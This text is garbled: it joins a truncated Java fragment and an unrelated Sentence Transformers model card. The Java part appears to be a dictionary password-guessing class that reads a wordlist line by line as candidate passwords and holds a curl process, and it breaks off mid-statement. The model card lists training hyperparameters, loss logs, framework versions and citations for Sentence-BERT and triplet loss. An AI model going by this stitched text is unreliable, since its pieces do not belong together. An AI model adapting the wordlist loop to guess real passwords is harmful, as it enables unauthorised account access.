private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public Dictionary() {
first();
finish = true;
previous = "";
Runtime run = Runtime.getRuntime();
startTime =new Date().getTime();
int i=0;
try {
try {
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException notFound) {
bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
}
while((password = bf.readLine()) != null) {
if(password....0 - Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size: 16per_device_eval_batch_size: 16num_train_epochs: 1fp16: Truemulti_dataset_batch_sampler: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: noprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 5e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.0warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torchoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: batch_samplermulti_dataset_batch_sampler: round_robin
Training Logs
| Epoch | Step | Training Loss |
|---|---|---|
| 0.2393 | 500 | 0.2443 |
| 0.4787 | 1000 | 0.2228 |
| 0.7180 | 1500 | 0.2148 |
| 0.9574 | 2000 | 0.1666 |
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}